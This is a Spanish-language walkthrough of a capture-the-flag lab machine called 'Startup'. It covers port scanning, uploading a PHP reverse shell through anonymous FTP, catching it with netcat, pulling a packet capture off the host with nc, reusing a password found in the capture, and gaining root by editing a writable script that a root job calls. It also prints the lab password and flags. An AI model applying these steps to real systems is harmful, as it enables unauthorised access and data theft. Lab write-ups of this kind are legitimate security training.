

Startup



18/02/2022

Enumeration

Whatweb

```
whatweb 10.10.27.204
```

```
http://10.10.27.204 [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], Email[#], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.10.27.204], Title[Maintenance]
```

WhichSystem.py

mediante el tty, sabemos que es una maquina Linux

```
whichSystem.py 10.10.234.213
```

```
10.10.27.204 (ttl -> 61): Linux
```

nmap

```
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.234.213
```

```
21/tcp open  ftp      syn-ack ttl 61
22/tcp open  ssh       syn-ack ttl 61
80/tcp open  http      syn-ack ttl 61
```

descubrimos un puerto

lanzaremos scripts basicos de reconocimiento y detectar la version

```
nmap --script=vuln -p21,22,80 10.10.234.213 -oN vulnerabilidades
```

```
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum:
|_ /files/: Potentially interesting directory w/ listing on 'apache/2.4.18 (ubuntu)'
```

descubrimos que podemos no hay algun tipo de vulnerabilidad posible

ingresamos a la pagina y nos dice lo siguiente:

`http://10.10.234.213`

No spice here!

Please excuse us as we develop our site. We want to make it the most stylish and convenient way to buy peppers. Plus, we need a web developer. BTW if you're a web developer, [contact us](#). Otherwise, don't you worry. We'll be online shortly!

— Dev Team

Entramos al ftp

`ftp 10.10.234.213`

```
Connected to 10.10.234.213.
220 (vsFTPd 3.0.3)
Name (10.10.234.213:solo): Anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||22915|)
150 Here comes the directory listing.
drwxrwxrwx  2 65534  65534   4096 Nov 12  2020 ftp
-rw-r--r--  1 0      0    251631 Nov 12  2020 important.jpg
-rw-r--r--  1 0      0    208 Nov 12  2020 notice.txt
```

Encontramos dos archivos interesantes important.jpg y notice.txt
ademas vemos que podemos ver que carpeta tiene todos los permisos
los abrimos

`display important.jpg`



abrimos el archivo

```
cat notice.txt
```

Whoever is leaving these damn Among Us memes in this share, it IS NOT FUNNY. People downloading documents from our website will think we are a joke! Now I don't know who it is, but Maya is looking pretty sus.

Subir archivo al ftp


Procedemos a subir un archivo en la carpeta ftp

```
cd ftp
```

```
put homero.jpg
```

verificamos que se subio correcto

Index of /files/ftp

<u>Name</u>	<u>Last modified</u>	<u>Size</u>	<u>Description</u>
 Parent Directory		-	
 homero.jpg	2022-02-20 06:31	189K	

Apache/2.4.18 (Ubuntu) Server at 10.10.234.213 Port 80

Subir al ftp una reverse shell

```
cd ftp
```

lo ejecutamos

```
ftp> put php-reverse-shell.php
```

abrimos una terminal y nos ponemos en escucha

```
sudo nc -lvnp 10.6.96.73 443
```

accedemos

encontramos un archivo

Obteniendo acceso a usuario normal

Una vez obtenemos acceso a usuario normal, navegamos por las carpetas

```
ls
```

```
recipe.txt
```

```
$ cat recipe.txt
```

Someone asked what our main ingredient to our spice soup is today. I figured I can't keep it a secret forever and told him it was love.

Accedemos a la carpeta home

```
$ cd home
```

```
ls
```

```
lennie
```

```
cd lennie/
```

```
bash: cd: lennie/: Permission denied
```

Vemos que no tenemos permisos para acceder

Volvemos a la carpeta raiz

```
$ cd /
```

```
ls -al
```

```
total 100
drwxr-xr-x 25 root root 4096 Feb 20 05:44 .
drwxr-xr-x 25 root root 4096 Feb 20 05:44 ..
drwxr-xr-x 2 root root 4096 Sep 25 2020 bin
drwxr-xr-x 3 root root 4096 Sep 25 2020 boot
drwxr-xr-x 16 root root 3560 Feb 20 05:43 dev
drwxr-xr-x 96 root root 4096 Nov 12 2020 etc
drwxr-xr-x 3 root root 4096 Nov 12 2020 home
drwxr-xr-x 2 www-data www-data 4096 Nov 12 2020 incidents
lrwxrwxrwx 1 root root 33 Sep 25 2020 initrd.img -> boot/initrd.img-4.4.0-190-generic
lrwxrwxrwx 1 root root 33 Sep 25 2020 initrd.img.old -> boot/initrd.img-4.4.0-190-generic
drwxr-xr-x 22 root root 4096 Sep 25 2020 lib
drwxr-xr-x 2 root root 4096 Sep 25 2020 lib64
drwx----- 2 root root 16384 Sep 25 2020 lost+found
drwxr-xr-x 2 root root 4096 Sep 25 2020 media
drwxr-xr-x 2 root root 4096 Sep 25 2020 mnt
drwxr-xr-x 2 root root 4096 Sep 25 2020 opt
dr-xr-xr-x 123 root root 0 Feb 20 05:43 proc
-rw-r--r-- 1 www-data www-data 136 Nov 12 2020 recipe.txt
drwx----- 4 root root 4096 Nov 12 2020 root
drwxr-xr-x 25 root root 920 Feb 20 06:30 run
drwxr-xr-x 2 root root 4096 Sep 25 2020/sbin
drwxr-xr-x 2 root root 4096 Nov 12 2020 snap
drwxr-xr-x 3 root root 4096 Nov 12 2020 srv
dr-xr-xr-x 13 root root 0 Feb 20 06:47 sys
drwxrwxrwt 7 root root 4096 Feb 20 08:04 tmp
drwxr-xr-x 10 root root 4096 Sep 25 2020 usr
drwxr-xr-x 2 root root 4096 Nov 12 2020 vagrant
drwxr-xr-x 14 root root 4096 Nov 12 2020 var
lrwxrwxrwx 1 root root 30 Sep 25 2020 vmlinuz -> boot/vmlinuz-4.4.0-190-generic
lrwxrwxrwx 1 root root 30 Sep 25 2020 vmlinuz.old -> boot/vmlinuz-4.4.0-190-generic
```

Vemos que la carpeta incidents tenemos privilegios como www-dat

```
$ cd incidents
```

```
$ ls -al
```

```
-rwxr-xr-x 1 www-data www-data 31224 Nov 12 2020 suspicious.pcapng
```

pasamos a examinarlo en nuestra maquina

ponemos en escucha nuestra máquina para pasarnos el archivo

```
nc -lvp 443 > suspicious.pcapng
```

nos pasamos el archivo

```
nc 10.6.96.73 3333 < suspicious.pcapng
```

vemos que el formato pcapng es wireshark

```
wireshark suspicious.pcapng
```

vemos los paquetes enviados

los ordenamos por longitud

nos interesa este paquete por lo cual lo examinamos

205	94.721082534	192.168.22.139	192.168.22.139	TCP	1468	40934 → 4444 [PSH, ACK] Seq=3327 Ack=164
Win=65536 Len=1400 TSval=720669365 TSecr=720669361						

clic derecho - follow - TCP STREAM

Observamos todos los pasos

```
$ ls
```

```
bin
boot
data
dev
etc
home
incidents
initrd.img
initrd.img.old
lib
lib64
lost+found
media
mnt
opt
proc
recipe.txt
root
run
sbin
snap
srv
sys
tmp
usr
vagrant
var
vmlinuz
vmlinuz.old
$ ls -la
total 96
drwxr-xr-x 26 root root 4096 Oct 2 17:24 .
drwxr-xr-x 26 root root 4096 Oct 2 17:24 ..
drwxr-xr-x 2 root root 4096 Sep 25 08:12 bin
drwxr-xr-x 3 root root 4096 Sep 25 08:12 boot
drwxr-xr-x 1 vagrant vagrant 140 Oct 2 17:24 data
drwxr-xr-x 16 root root 3620 Oct 2 17:20 dev
drwxr-xr-x 95 root root 4096 Oct 2 17:24 etc
drwxr-xr-x 4 root root 4096 Oct 2 17:26 home
drwxr-xr-x 2 www-data www-data 4096 Oct 2 17:24 incidents
lrwxrwxrwx 1 root root 33 Sep 25 08:12 initrd.img -> boot/initrd.img-4.4.0-190-generic
lrwxrwxrwx 1 root root 33 Sep 25 08:12 initrd.img.old -> boot/initrd.img-4.4.0-190-generic
drwxr-xr-x 22 root root 4096 Sep 25 08:22 lib
drwxr-xr-x 2 root root 4096 Sep 25 08:10 lib64
```

```
drwx----- 2 root root 16384 Sep 25 08:12 lost+found
drwxr-xr-x 2 root root 4096 Sep 25 08:09 media
drwxr-xr-x 2 root root 4096 Sep 25 08:09 mnt
drwxr-xr-x 2 root root 4096 Sep 25 08:09 opt
dr-xr-xr-x 125 root root 0 Oct 2 17:19 proc
-rw-r--r-- 1 www-data www-data 136 Oct 2 17:24 recipe.txt
drwx----- 3 root root 4096 Oct 2 17:24 root
drwxr-xr-x 25 root root 960 Oct 2 17:23 run
drwxr-xr-x 2 root root 4096 Sep 25 08:22/sbin
drwxr-xr-x 2 root root 4096 Oct 2 17:20 snap
drwxr-xr-x 3 root root 4096 Oct 2 17:23 srv
dr-xr-xr-x 13 root root 0 Oct 2 17:19 sys
drwxrwxrwt 7 root root 4096 Oct 2 17:40 tmp
drwxr-xr-x 10 root root 4096 Sep 25 08:09 usr
drwxr-xr-x 1 vagrant vagrant 118 Oct 1 19:49 vagrant
drwxr-xr-x 14 root root 4096 Oct 2 17:23 var
lrwxrwxrwx 1 root root 30 Sep 25 08:12 vmlinuz -> boot/vmlinuz-4.4.0-190-generic
lrwxrwxrwx 1 root root 30 Sep 25 08:12 vmlinuz.old -> boot/vmlinuz-4.4.0-190-generic
```

```
$ whoami
```

```
www-data
```

```
$ python -c "import pty;pty.spawn('/bin/bash')"
```

```
www-data@startup:/ $ cd
```

```
cd
```

```
bash: cd: HOME not set
```

```
www-data@startup:/ $ ls
```

```
ls
```

```
bin  etc      initrd.img.old  media  recipe.txt  snap  usr      vmlinuz.old
boot home  lib             mnt     root      srv  vagrant
data incidents lib64           opt     run      sys  var
dev  initrd.img  lost+found     proc   /sbin    tmp  vmlinuz
```

```
www-data@startup:/ $ cd home
```

```
cd home
```

```
www-data@startup:/home$ cd lennie
```

```
cd lennie
```

```
bash: cd: lennie: Permission denied
```

```
www-data@startup:/home$ ls
```

```
ls
```

```
lennie
```

```
www-data@startup:/home$ cd lennie
```

```
cd lennie
```

```
bash: cd: lennie: Permission denied
```

```
www-data@startup:/home$ sudo -l
```

```
sudo -l
```

```
[sudo] password for www-data: c4ntg3t3n0ughsp1c3
```

```
Sorry, try again.
```

```
[sudo] password for www-data:
```

```
Sorry, try again.
```

```
[sudo] password for www-data: c4ntg3t3n0ughsp1c3
```

```
sudo: 3 incorrect password attempts
```

```
www-data@startup:/home$ cat /etc/passwd
```

```
cat /etc/passwd
```

```
root:x:0:0:root:/root:/bin/bash
```

```
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
```

```
bin:x:2:2:bin:/bin:/usr/sbin/nologin
```

```
sys:x:3:3:sys:/dev:/usr/sbin/nologin
```

```
sync:x:4:65534:sync:/bin:/bin/sync
```

```
games:x:5:60:games:/usr/games:/usr/sbin/nologin
```

```
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
```

```
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
```

```
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
```

```
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
```

```
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
```

```
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
```

```
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
```

```
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
```

```
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
```

```
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
```

```
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
```

```
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
```

```
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
```

```
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
```

```
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
```

```
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
```

```
syslog:x:104:108::/home/syslog:/bin/false
```

```
_apt:x:105:65534::/nonexistent:/bin/false
```

```
lxd:x:106:65534::/var/lib/lxd:/bin/false
```

```
messagebus:x:107:111::/var/run/dbus:/bin/false
```

```
uidd:x:108:112::/run/uidd:/bin/false
```

```
dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false
```

```
sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin
```

```
pollinate:x:111:1::/var/cache/pollinate:/bin/false
```

```
vagrant:x:1000:1000,,,:/home/vagrant:/bin/bash
```



```
ftp:x:112:118:ftp daemon,,,:/srv/ftp:/bin/false
lennie:x:1002:1002::/home/lennie:
ftpsecure:x:1003:1003::/home/ftpsecure:
www-data@startup:/home$ exit
exit
exit
$ exit
```

Accedemos la carpeta de lennie

```
cd home
su cd lennie
```

```
password: c4ntg3t3n0ughsp1c3
whoami
lennie
cat user.txt
```

```
obetenemos la bandera
THM{03ce3d619b80ccbfb3b7fc81e46c0e79}
```

Obteniendo acceso a usuario root

vemos las carpetas

```
ls -al
total 28
drwx----- 5 lennie lennie 4096 Feb 20 08:59 .
drwxr-xr-x 3 root root 4096 Nov 12 2020 ..
-rw----- 1 lennie lennie 57 Feb 20 08:36 .bash_history
drwxr-xr-x 2 lennie lennie 4096 Nov 12 2020 Documents
drwxrwxr-x 2 lennie lennie 4096 Feb 20 08:59 .nano
drwxr-xr-x 2 root root 4096 Nov 12 2020 scripts
-rw-r--r-- 1 lennie lennie 38 Nov 12 2020 user.txt
```

entramos a la carpeta scripts

```
cd scripts
```

```
-rwxr-xr-x 1 root root 77 Nov 12 2020 planner.sh
```

```
-rw-r--r-- 1 root root 1 Feb 20 09:14 startup_list.txt
```

```
cat planner.sh
```

```
#!/bin/bash
echo $LIST > /home/lennie/scripts/startup_list.txt
/etc/print.sh
```

Ejecutamos el .sh

```
./planner.sh
```

```
./planner.sh: line 2: /home/lennie/scripts/startup_list.txt: Permission denied
Done!
/etc/print.sh
```

vemos que se ejecuto correctamente
pero vemos que hay otro archivo "print.sh"

```
cat /etc/print.sh
```

```
#!/bin/bash
echo "Done!"
```

vemos que privilegios tiene

```
ls -al /etc/print.sh
```

```
-rw-x----- 1 lennie lennie 57 Feb 20 09:09 /etc/print.sh
```

vemos que nosotros lo podemos modificar

modificamos el archivo para que copie todos los archivos de la carpeta root

```
nano /etc/print.sh
```

```
cp /root/* /home/lennie; chmod 777 /home/lennie/*
```

volvemos a la carpeta lennie

```
cd ..
```

```
ls -al
```

```
drwxrwxrwx 2 lennie lennie 4096 Nov 12 2020 Documents
drwxrwxr-x 2 lennie lennie 4096 Feb 20 08:59 .nano
-rwxrwxrwx 1 root root 38 Feb 20 09:26 root.txt
drwxrwxrwx 2 root root 4096 Nov 12 2020 scripts
-rwxrwxrwx 1 lennie lennie 38 Nov 12 2020 user.txt
```

vemos que se copio el archivo root

```
root.txt
```

obtenemos la bandera

```
THM{f963aaa6a430f210222158ae15c3d76d}
```